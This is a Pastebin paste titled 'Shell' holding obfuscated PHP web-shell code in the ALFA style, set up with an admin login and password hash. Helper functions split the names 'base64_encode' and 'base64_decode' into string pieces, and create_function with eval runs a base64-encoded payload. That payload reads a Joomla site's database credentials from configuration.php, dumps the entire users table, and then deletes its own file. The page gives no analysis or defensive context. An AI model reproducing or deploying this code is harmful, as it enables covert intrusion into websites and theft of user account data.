Advertisement
Guest User

Shell

a guest
Oct 9th, 2017
255
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.21 KB | None | 0 0
  1. <?php  
  2. $teno = "sagag";
  3. $GLOBALS['__ALFA__'] = array(
  4.     'user' => 'admin',//username
  5.     'pass' => '60909d82a71a39c83c0b74db230b3dc8',//md5(alfa)
  6.     'safemode' => '1',//1 or 0
  7.     'login_page' => '404',//gui or 500 or 403 or 404
  8.     'show_icons' => '1',//1 or 0
  9. );
  10.  
  11.  
  12.  
  13. if(!function_exists('b'.'as'.'e6'.'4_'.'en'.'co'.'de'))
  14. {
  15.     function __ZW5jb2Rlcg($data)
  16.     {
  17.         if(empty($data))
  18.             return;
  19.         $b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
  20.         $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
  21.         $ac = 0;$enc = '';
  22.         $tmp_arr = array();
  23.         if(!$data)
  24.         {
  25.             return $data;
  26.         }
  27.         do
  28.         {
  29.             $o1 = charCodeAt($data, $i++);
  30.             $o2 = charCodeAt($data, $i++);
  31.             $o3 = charCodeAt($data, $i++);
  32.             $bits = $o1 << 16 | $o2 << 8 | $o3;$h1 = $bits >> 18 & 0x3f;
  33.             $h2 = $bits >> 12 & 0x3f;
  34.             $h3 = $bits >> 6 & 0x3f;
  35.             $h4 = $bits & 0x3f;
  36.             $tmp_arr[$ac++] = charAt($b64, $h1).charAt($b64, $h2).charAt($b64, $h3).charAt($b64, $h4);
  37.         }
  38.         while ($i < strlen($data));
  39.         $enc = implode($tmp_arr, '');
  40.         $r = (strlen($data) % 3);
  41.         return ($r ? substr($enc, 0, ($r - 3)) : $enc).substr('===', ($r || 3));
  42.     }
  43.         function charCodeAt($data, $char){
  44.             return ord(substr($data, $char, 1));
  45.         }
  46.         function charAt($data, $char)
  47.         {
  48.             return substr($data, $char, 1);
  49.         }
  50. }
  51. else
  52. {
  53.     function __ZW5jb2Rlcg($s)
  54.     {
  55.         $b='b'.'as'.'e6'.'4_'.'en'.'co'.'de';
  56.         return $b($s);
  57.     }
  58. }
  59. if(!function_exists('b'.'a'.'se'.'6'.'4_'.'d'.'ec'.'ode'))
  60. {
  61.     function __ZGVjb2Rlcg($input)
  62.     {
  63.         if(empty($input))return;
  64.         $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  65.         $chr1 = $chr2 = $chr3 = "";$enc1 = $enc2 = $enc3 = $enc4 = "";
  66.         $i = 0;$output = "";
  67.         $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
  68.         do{
  69.             $enc1 = strpos($keyStr, substr($input, $i++, 1));
  70.             $enc2 = strpos($keyStr, substr($input, $i++, 1));
  71.             $enc3 = strpos($keyStr, substr($input, $i++, 1));
  72.             $enc4 = strpos($keyStr, substr($input, $i++, 1));
  73.             $chr1 = ($enc1 << 2) | ($enc2 >> 4);$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);$chr3 = (($enc3 & 3) << 6) | $enc4;
  74.             $output = $output . chr((int) $chr1);
  75.             if ($enc3 != 64)
  76.             {
  77.                 $output = $output . chr((int) $chr2);
  78.             }
  79.             if ($enc4 != 64)
  80.             {
  81.                 $output = $output . chr((int) $chr3);
  82.             }
  83.             $chr1 = $chr2 = $chr3 = "";$enc1 = $enc2 = $enc3 = $enc4 = "";
  84.         }
  85.         while($i < strlen($input));
  86.         return $output;
  87.     }
  88. }
  89. else{
  90.     function __ZGVjb2Rlcg($s){
  91.         $b='b'.'as'.'e6'.'4_'.'de'.'co'.'de';
  92.         return $b($s);
  93.     }
  94. }
  95.     $cr='create_function';
  96.     $code = $cr('$x','eval(__ZGVjb2Rlcg($x));');
  97.    
  98.    
  99.     $cd = base64_encode("
  100.     function test()
  101.     {
  102.         return scandir(__DIR__);
  103.        
  104.     }
  105.    
  106.     \$string= test();
  107.     if(in_array('configuration.php',\$string))
  108.     {
  109.         require_once('configuration.php');
  110.         \$config = new JConfig;
  111.        
  112.         \$pdo = new PDO('mysql:host=localhost;dbname='.\$config->db.';charset=utf8', \$config->user, \$config->password);
  113.         \$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);    
  114.  
  115.         \$pdo->exec('set names utf8');
  116.        
  117.         \$stmt = \$pdo->query('SELECT * FROM `' . \$config->dbprefix . 'users`');
  118.    
  119.         \$results = \$stmt->fetchAll();
  120.        
  121.         print_r(\$results);
  122.         unlink(__FILE__);
  123.     }
  124.     ");
  125.     $code($cd);
  126.   ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement